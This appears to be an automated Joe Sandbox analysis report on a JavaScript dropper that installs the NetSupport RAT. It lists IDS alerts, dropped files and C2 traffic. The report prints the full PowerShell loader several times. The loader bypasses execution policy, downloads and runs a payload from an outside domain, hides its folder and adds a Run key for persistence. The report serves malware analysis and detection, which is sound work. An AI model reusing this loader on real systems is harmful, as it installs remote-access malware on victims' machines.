Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minim

Sigma detected: PowerShell Web Download

Source: Process started

Sigma detected: Suspicious PowerShell Download - PoshModule

Source: Event Logs

Author: Florian Roth (Nextron Systems): Data: ContextInfo: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 3a17fd44-b34d-41d8-a409-5a5030e19461 Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS; Engine Version = 5.1.19041.1682 Runspace ID = 3db943c9-3ccd-4813-a0d8-76fe9dd56238 Pipeline ID = 1 Command Name = Add-Type Command Type = Cmdlet Script Name = Command Path = Sequence Number = 16 User = user-PC\user Connected User = Shell ID = Microsoft.PowerShell, EventID: 4103, Payload: CommandInvocation(Add-Type): "Add-Type"ParameterBinding(Add-Type): name="AssemblyName"; value="System.IO.Compression.FileSystem", Source: Microsoft-Windows-PowerShell, UserData: , data0: Severity = Informational Host Name = ConsoleHost Host Version = 5.1.19041.1682 Host ID = 3a17fd44-b34d-41d8-a409-5a5030e19461 Host Application = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe'

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine|base64offset|contains: L, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minim

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js", ProcessId: 7336, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minimum -10 -Maximum 37; $LIEDXZVHUH=[System.Environment]::GetFolderPath('ApplicationData')+'\GRDCWLLI'+$asd;if (!(Test-Path $LIEDXZVHUH -PathType Container)) { New-Item -Path $LIEDXZVHUH -ItemType Directory };$p=Join-Path $LIEDXZVHUH 'tttt.zip';[System.IO.File]::WriteAllBytes($p,$QEPGEKUSQFV);try { Add-Type -A System.IO.Compression.FileSystem;[System.IO.Compression.ZipFile]::ExtractToDirectory($p,$LIEDXZVHUH)} catch { Write-Host 'Failed: ' + $_; exit};$CV=Join-Path $LIEDXZVHUH 'client32.exe';if (Test-Path $CV -PathType Leaf) { Start-Process -FilePath $CV} else {Write-Host 'No exe.'};$fd=Get-Item $LIEDXZVHUH -Force; $fd.attributes='Hidden';$s=$LIEDXZVHUH+'\client32.exe';$k='HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run';$v='HQWQTO';$DS='String';New-ItemProperty -Path $k -Name $v -Value $s -PropertyType $DS;, CommandLine|base64offset|contains: L, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\updates.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7336, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex Bypass -NoP -C $HGWCFVIPUNW='http://dfwreds.com/data.php?14991';$AZEWTJMSL=(New-Object System.Net.WebClient).DownloadString($HGWCFVIPUNW);$QEPGEKUSQFV=[System.Convert]::FromBase64String($AZEWTJMSL);$asd = Get-Random -Minim

Remote Access Functionality

Sigma detected: Powershell drops NetSupport RAT client

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7424, TargetFilename: C:\Users\user\AppData\Roaming\GRDCWLLI20\NSM.LIC

Snort Signatures

ET TROJAN ZPHP CnC Domain in DNS Lookup (dfwreds .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	07/16/24-22:29:48.775589
SID:	2054426
Source Port:	58012
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Suricata Signatures

ETPRO MALWARE NetSupport RAT CnC Activity - Source IP: 192.168.2.4 - Destination IP: 94.158.245.103

Timestamp:	2024-07-16T22:29:37.087965+0200
SID:	2827745
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Malicious NetSupport Rat CnC Checkin - Source IP: 192.168.2.4 - Destination IP: 94.158.245.103

Timestamp:	2024-07-16T22:29:37.087965+0200
SID:	2857473
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET POLICY NetSupport GeoLocation Lookup Request - Source IP: 192.168.2.4 - Destination IP: 104.26.0.231

Timestamp:	2024-07-16T22:29:54.986481+0200
SID:	2034559
Source Port:	49732
Destination Port:	80
Protocol:	TCP
Classtype:	Potential Corporate Privacy Violation

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.4

Timestamp:	2024-07-16T22:30:00.900003+0200
SID:	2022930
Source Port:	443
Destination Port:	49733
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 20.12.23.50 - Destination IP: 192.168.2.4

Timestamp:	2024-07-16T22:30:43.615970+0200
SID:	2022930
Source Port:	443
Destination Port:	52098
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE ZPHP CnC Domain in DNS Lookup (dfwreds .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	2024-07-16T22:29:48.775589+0200
SID:	2054426
Source Port:	58012
Destination Port:	53
Protocol:	UDP
Classtype:	Domain Observed Used for C2 Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://dfwreds.com/data.php?14991

Avira URL Cloud: Label: malware

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\HTCTL32.DLL	ReversingLabs: Detection: 13%
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	ReversingLabs: Detection: 26%
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\remcmdstub.exe	ReversingLabs: Detection: 23%

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110ADA40 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		3_2_110ADA40
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110ADA40 GetModuleHandleA,GetProcAddress,GetProcAddress,GetLastError,wsprintfA,GetLastError,_memset,CryptGetProvParam,CryptGetProvParam,GetLastError,_memset,CryptGetProvParam,GetLastError,GetLastError,GetLastError,GetLastError,_malloc,GetLastError,_free,GetLastError,CryptReleaseContext,SetLastError,FreeLibrary,		7_2_110ADA40

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Users\user\AppData\Roaming\GRDCWLLI20\msvcr100.dll

Jump to behavior

Source:	Binary string: msvcr100.i386.pdb source: powershell.exe, 00000001.00000002.1816720389.00000170BADE4000.00000004.00000800.00020000.00000000.sdmp, client32.exe
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdb source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\Full\pcichek.pdb source: powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\ctl32\release\tcctl32.pdbP source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210\ctl32\Release\pcicapi.pdb source: powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: E:\nsmsrc\nsm\1210\1210f\client32\Release\PCICL32.pdb source: client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp

Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	3_2_111273E0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1102D9F4 Sleep,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	3_2_1102D9F4
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1102DD21 CloseHandle,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	3_2_1102DD21
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_1110BD70 _memset,wsprintfA,wsprintfA,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	3_2_1110BD70
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 3_2_110663B0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	3_2_110663B0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1102D900 InterlockedIncrement,Sleep,Sleep,GetCurrentProcess,SetPriorityClass,SetEvent,Sleep,PostThreadMessageA,PostThreadMessageA,FindCloseChangeNotification,_free,_free,GetModuleFileNameA,GetFileAttributesA,_memset,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,ExitWindowsEx,ExitWindowsEx,Sleep,ExitWindowsEx,Sleep,ExitProcess,	7_2_1102D900
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_111273E0 _memset,_memset,GetVersionExA,GetTempPathA,GetModuleFileNameA,_strrchr,CreateFileA,CreateFileA,WriteFile,CloseHandle,CloseHandle,CreateFileA,GetCurrentProcessId,wsprintfA,CreateProcessA,CloseHandle,CloseHandle,CloseHandle,CreateProcessA,DeleteFileA,Sleep,WaitForSingleObject,CloseHandle,GetCurrentProcess,RemoveDirectoryA,GetLastError,ExitProcess,FindNextFileA,FindClose,FindFirstFileA,GetCurrentProcess,GetCurrentProcess,DuplicateHandle,GetModuleFileNameA,_strrchr,_memmove,GetThreadContext,VirtualProtectEx,WriteProcessMemory,FlushInstructionCache,SetThreadContext,ResumeThread,CloseHandle,CloseHandle,	7_2_111273E0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1110BD70 _memset,wsprintfA,wsprintfA,KillTimer,FindFirstFileA,wsprintfA,FindNextFileA,GetLastError,FindClose,	7_2_1110BD70
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_110663B0 _memset,_memmove,_strncpy,CharUpperA,FindFirstFileA,FindNextFileA,FindClose,wsprintfA,	7_2_110663B0
Source: C:\Users\user\AppData\Roaming\GRDCWLLI20\client32.exe	Code function: 7_2_1106ABD0 GetTickCount,OpenPrinterA,StartDocPrinterA,ClosePrinter,FindFirstFileA,FindClose,CreateFileA,SetFilePointer,GetTickCount,GetLastError,	7_2_1106ABD0

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2054426 ET TROJAN ZPHP CnC Domain in DNS Lookup (dfwreds .com) 192.168.2.4:58012 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: GET /data.php?14991 HTTP/1.1Host: dfwreds.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 104.26.0.231 104.26.0.231

Source: Joe Sandbox View

ASN Name: HVC-ASUS HVC-ASUS

Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.245.103
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.245.103
Source: unknown	TCP traffic detected without corresponding DNS query: 94.158.245.103
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /data.php?14991 HTTP/1.1Host: dfwreds.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /location/loca.asp HTTP/1.1Host: geo.netsupportsoftware.comConnection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: dfwreds.com
Source: global traffic	DNS traffic detected: DNS query: geo.netsupportsoftware.com

Source: unknown

HTTP traffic detected: POST http://94.158.245.103/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 94.158.245.103Connection: Keep-AliveCMD=POLLINFO=1ACK=1Data Raw: Data Ascii:

Source: client32.exe	String found in binary or memory: http://%s/fakeurl.htm
Source: client32.exe	String found in binary or memory: http://%s/testpage.htm
Source: wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://0.30000000000000004.com/
Source: client32.exe, client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://127.0.0.1
Source: client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://127.0.0.1RESUMEPRINTING
Source: powershell.exe, 00000001.00000002.1816720389.00000170BBE72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAA33000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BBD31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://dfwreds.com
Source: wscript.exe	String found in binary or memory: http://dfwreds.com/data.ph
Source: powershell.exe, 00000001.00000002.1816102376.00000170B8750000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1881774532.00000170D2B15000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dfwreds.com/data.php?14991
Source: client32.exe, client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.asp
Source: client32.exe, 00000007.00000002.1908960911.0000000011194000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)
Source: powershell.exe, 00000001.00000002.1816720389.00000170BC156000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1839088758.00000170CA885000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.1816720389.00000170BC0D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAF06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s1.symcb.com/pca3-g5.crl0
Source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAF06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEED000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://s2.symcb.com0
Source: wscript.exe, 00000000.00000003.1662763001.000002211256B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1662763001.0000022111B6B000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.0000022112A2F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1665260818.000002211342F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://stat.ethz.ch/R-manual/R-devel/library/grDevices/html/boxplot.stats.html
Source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAF06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crl0f
Source: powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt
Source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAF06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcb.com/sv.crt0
Source: powershell.exe, 00000001.00000002.1816720389.00000170BAFFD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAECC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAF06000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEAD000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAED6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BAEF8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sv.symcd.com0&
Source: wscript.exe, 00000000.00000003.1664449430.0000022110546000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1816720389.00000170BBE9A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000001.00000002.1816720389.00000170BC0D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
